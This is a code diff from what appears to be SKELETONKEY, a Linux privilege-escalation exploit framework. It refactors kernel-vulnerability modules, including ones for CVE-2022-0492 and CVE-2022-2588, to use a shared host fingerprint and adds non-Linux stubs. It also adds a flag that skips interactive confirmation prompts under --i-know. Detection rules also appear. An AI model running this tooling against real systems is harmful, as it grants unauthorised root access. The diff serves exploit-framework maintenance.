bool patched = kernel_range_is_patched(&af_unix_gc_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -157,7 +163,7 @@ static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
|
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
|
||||||
" (no userns / no CAP_* required — AF_UNIX is universally\n"
|
" (no userns / no CAP_* required — AF_UNIX is universally\n"
|
||||||
" creatable). The race window is microseconds wide and\n"
|
" creatable). The race window is microseconds wide and\n"
|
||||||
@@ -549,7 +555,8 @@ static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ct
|
|||||||
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -38,7 +38,6 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -46,6 +45,11 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
@@ -71,44 +75,40 @@ static const struct kernel_range cgroup_ra_range = {
|
|||||||
sizeof(cgroup_ra_patched_branches[0]),
|
sizeof(cgroup_ra_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
static int can_unshare_userns_mount(void)
|
/* The unprivileged-userns precondition is now read from the shared
|
||||||
{
|
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
||||||
pid_t pid = fork();
|
* probes once at startup via core/host.c. The previous per-detect
|
||||||
if (pid < 0) return -1;
|
* fork-probe helper was removed. */
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] cgroup_release_agent: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
bool patched = kernel_range_is_patched(&cgroup_ra_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns_mount();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
|
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
@@ -154,7 +154,10 @@ static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
/* Consult ctx->host->is_root so unit tests can construct a
|
||||||
|
* non-root fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -303,6 +306,34 @@ static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: unshare(CLONE_NEWUSER|CLONE_NEWNS) + cgroup v1
|
||||||
|
* mount are Linux-only kernel surface; the release_agent primitive is
|
||||||
|
* structurally unreachable elsewhere. Stub out cleanly so the module
|
||||||
|
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||||
|
* dev boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] cgroup_release_agent: Linux-only module "
|
||||||
|
"(user_ns + cgroup v1 release_agent) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] cgroup_release_agent: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static const char cgroup_ra_auditd[] =
|
static const char cgroup_ra_auditd[] =
|
||||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||||
|
|||||||
@@ -40,9 +40,6 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -50,6 +47,14 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
@@ -93,55 +98,46 @@ static bool cls_route4_module_available(void)
|
|||||||
return found;
|
return found;
|
||||||
}
|
}
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] cls_route4: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug-introduction predates anything we'd reasonably scan; if the
|
/* Bug-introduction predates anything we'd reasonably scan; if the
|
||||||
* kernel is below the oldest LTS we model (5.4), still report
|
* kernel is below the oldest LTS we model (5.4), still report
|
||||||
* vulnerable. */
|
* vulnerable. */
|
||||||
bool patched = kernel_range_is_patched(&cls_route4_range, &v);
|
bool patched = kernel_range_is_patched(&cls_route4_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Module + userns preconditions. */
|
/* Module + userns preconditions. */
|
||||||
bool nft_loaded = cls_route4_module_available();
|
bool nft_loaded = cls_route4_module_available();
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
|
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
|
||||||
nft_loaded ? "yes" : "no (may autoload)");
|
nft_loaded ? "yes" : "no (may autoload)");
|
||||||
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
|
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* If userns is locked down, unprivileged-LPE path is closed.
|
/* If userns is locked down, unprivileged-LPE path is closed.
|
||||||
* Kernel still needs patching though — report PRECOND_FAIL so the
|
* Kernel still needs patching though — report PRECOND_FAIL so the
|
||||||
* verdict isn't "VULNERABLE" but the issue isn't masked. */
|
* verdict isn't "VULNERABLE" but the issue isn't masked. */
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
@@ -412,8 +408,6 @@ static long slab_active_kmalloc_1k(void)
|
|||||||
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
|
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
|
||||||
* not a deterministic R/W. Same shape and same depth as xtcompat. */
|
* not a deterministic R/W. Same shape and same depth as xtcompat. */
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
|
|
||||||
struct cls_route4_arb_ctx {
|
struct cls_route4_arb_ctx {
|
||||||
/* msg_msg queues kept hot inside the userns child. The arb-write
|
/* msg_msg queues kept hot inside the userns child. The arb-write
|
||||||
* sprays additional kaddr-tagged payloads into these and re-fires
|
* sprays additional kaddr-tagged payloads into these and re-fires
|
||||||
@@ -544,8 +538,6 @@ static int cls4_arb_write(uintptr_t kaddr,
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* ---- Exploit driver ----------------------------------------------- */
|
/* ---- Exploit driver ----------------------------------------------- */
|
||||||
|
|
||||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
@@ -555,7 +547,8 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
|
|||||||
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] cls_route4: already root\n");
|
fprintf(stderr, "[i] cls_route4: already root\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -565,11 +558,6 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
|
|||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef __linux__
|
|
||||||
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
|
|
||||||
(void)ctx;
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
|
||||||
#else
|
|
||||||
/* Full-chain pre-check: resolve offsets before forking. If
|
/* Full-chain pre-check: resolve offsets before forking. If
|
||||||
* modprobe_path can't be resolved, refuse early — no point doing
|
* modprobe_path can't be resolved, refuse early — no point doing
|
||||||
* the userns + tc + spray + trigger dance if we can't finish. */
|
* the userns + tc + spray + trigger dance if we can't finish. */
|
||||||
@@ -782,7 +770,6 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
|
|||||||
}
|
}
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Cleanup ----------------------------------------------------- */
|
/* ---- Cleanup ----------------------------------------------------- */
|
||||||
@@ -803,6 +790,34 @@ static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: cls_route4 / tc / netlink / msg_msg are
|
||||||
|
* Linux-only kernel surface; the route4 dead-UAF is structurally
|
||||||
|
* unreachable elsewhere. Stub out cleanly so the module still
|
||||||
|
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||||
|
* boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] cls_route4: Linux-only module "
|
||||||
|
"(net/sched cls_route4 + msg_msg) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] cls_route4: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static const char cls_route4_auditd[] =
|
static const char cls_route4_auditd[] =
|
||||||
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
||||||
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
||||||
|
|||||||
@@ -17,6 +17,7 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
#include "src/common.h"
|
#include "src/common.h"
|
||||||
#include "src/copyfail.h"
|
#include "src/copyfail.h"
|
||||||
@@ -33,10 +34,39 @@ static void apply_ctx(const struct skeletonkey_ctx *ctx)
|
|||||||
dirtyfail_use_color = !ctx->no_color;
|
dirtyfail_use_color = !ctx->no_color;
|
||||||
dirtyfail_active_probes = ctx->active_probe;
|
dirtyfail_active_probes = ctx->active_probe;
|
||||||
dirtyfail_json = ctx->json;
|
dirtyfail_json = ctx->json;
|
||||||
|
/* Forward the --i-know authorization gate. SKELETONKEY already
|
||||||
|
* blocks --exploit/--auto unless --i-know is passed, so by the time
|
||||||
|
* a DIRTYFAIL exploit callback runs, authorization is established.
|
||||||
|
* This lets typed_confirm() skip its (now redundant) interactive
|
||||||
|
* prompt, which otherwise deadlocks `skeletonkey --auto --i-know`. */
|
||||||
|
dirtyfail_assume_yes = ctx->authorized;
|
||||||
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
||||||
* it's a debug knob; default stays off. */
|
* it's a debug knob; default stays off. */
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Bridge-level userns precondition. The 4 dirty_frag siblings + the
|
||||||
|
* GCM variant all reach the bug via XFRM-ESP / AF_RXRPC paths gated on
|
||||||
|
* unprivileged user-namespace creation (the inner DIRTYFAIL detect
|
||||||
|
* checks for it too, but doing it here gives the dispatcher one
|
||||||
|
* testable point per module and short-circuits the heavier
|
||||||
|
* inner-detect work when the gate is closed). copy_fail itself uses
|
||||||
|
* AF_ALG which doesn't strictly need userns, so it bypasses this
|
||||||
|
* gate — its inner detect still confirms the primitive empirically. */
|
||||||
|
static skeletonkey_result_t cff_check_userns(const char *modname,
|
||||||
|
const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (ctx->host && !ctx->host->unprivileged_userns_allowed) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] %s: unprivileged user namespaces are "
|
||||||
|
"disabled (host fingerprint) — XFRM/RxRPC variant "
|
||||||
|
"unreachable here%s\n", modname,
|
||||||
|
ctx->host->apparmor_restrict_userns
|
||||||
|
? "; AppArmor restriction is on" : "");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
/* ----- Family-wide --mitigate / --cleanup -----
|
/* ----- Family-wide --mitigate / --cleanup -----
|
||||||
*
|
*
|
||||||
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
||||||
@@ -148,6 +178,8 @@ const struct skeletonkey_module copy_fail_module = {
|
|||||||
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
|
skeletonkey_result_t pre = cff_check_userns("copy_fail_gcm", ctx);
|
||||||
|
if (pre != SKELETONKEY_OK) return pre;
|
||||||
return (skeletonkey_result_t)copyfail_gcm_detect();
|
return (skeletonkey_result_t)copyfail_gcm_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -178,6 +210,8 @@ const struct skeletonkey_module copy_fail_gcm_module = {
|
|||||||
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
|
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp", ctx);
|
||||||
|
if (pre != SKELETONKEY_OK) return pre;
|
||||||
return (skeletonkey_result_t)dirtyfrag_esp_detect();
|
return (skeletonkey_result_t)dirtyfrag_esp_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -208,6 +242,8 @@ const struct skeletonkey_module dirty_frag_esp_module = {
|
|||||||
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
|
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp6", ctx);
|
||||||
|
if (pre != SKELETONKEY_OK) return pre;
|
||||||
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
|
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -238,6 +274,8 @@ const struct skeletonkey_module dirty_frag_esp6_module = {
|
|||||||
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
|
skeletonkey_result_t pre = cff_check_userns("dirty_frag_rxrpc", ctx);
|
||||||
|
if (pre != SKELETONKEY_OK) return pre;
|
||||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
|
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ bool dirtyfail_use_color = true;
|
|||||||
bool dirtyfail_active_probes = false;
|
bool dirtyfail_active_probes = false;
|
||||||
bool dirtyfail_no_revert = false;
|
bool dirtyfail_no_revert = false;
|
||||||
bool dirtyfail_json = false;
|
bool dirtyfail_json = false;
|
||||||
|
bool dirtyfail_assume_yes = false;
|
||||||
|
|
||||||
static void vlog(FILE *out, const char *prefix, const char *color,
|
static void vlog(FILE *out, const char *prefix, const char *color,
|
||||||
const char *fmt, va_list ap)
|
const char *fmt, va_list ap)
|
||||||
@@ -226,6 +227,19 @@ size_t build_authenc_keyblob(unsigned char *out,
|
|||||||
|
|
||||||
bool typed_confirm(const char *expected)
|
bool typed_confirm(const char *expected)
|
||||||
{
|
{
|
||||||
|
/* When the caller has already cleared an explicit authorization gate
|
||||||
|
* (SKELETONKEY's --i-know, forwarded via dirtyfail_assume_yes), the
|
||||||
|
* DIRTYFAIL typed prompt is redundant and would deadlock non-interactive
|
||||||
|
* runs like `skeletonkey --auto --i-know`. Auto-satisfy it.
|
||||||
|
*
|
||||||
|
* The SSH self-lockout guard (YES_BREAK_SSH) is deliberately exempt:
|
||||||
|
* it protects the operator's own access rather than gating
|
||||||
|
* authorization, so it always requires an interactive answer. */
|
||||||
|
if (dirtyfail_assume_yes && strcmp(expected, "YES_BREAK_SSH") != 0) {
|
||||||
|
log_step("confirmation gate '%s' auto-satisfied (--i-know)", expected);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
char buf[128];
|
char buf[128];
|
||||||
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
|
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
|
||||||
fflush(stdout);
|
fflush(stdout);
|
||||||
|
|||||||
@@ -86,6 +86,14 @@ extern bool dirtyfail_no_revert;
|
|||||||
* is redirected to stderr. Set by --json. */
|
* is redirected to stderr. Set by --json. */
|
||||||
extern bool dirtyfail_json;
|
extern bool dirtyfail_json;
|
||||||
|
|
||||||
|
/* When true, typed_confirm() auto-satisfies its gate instead of reading
|
||||||
|
* stdin — the caller has already cleared an explicit authorization gate.
|
||||||
|
* SKELETONKEY's bridge layer sets this from skeletonkey_ctx.authorized
|
||||||
|
* (i.e. the --i-know flag) so non-interactive runs like
|
||||||
|
* `skeletonkey --auto --i-know` don't deadlock on the DIRTYFAIL prompt.
|
||||||
|
* The YES_BREAK_SSH self-lockout guard is exempt — see typed_confirm(). */
|
||||||
|
extern bool dirtyfail_assume_yes;
|
||||||
|
|
||||||
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||||
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||||
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||||
|
|||||||
@@ -43,15 +43,19 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <stdatomic.h>
|
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdatomic.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
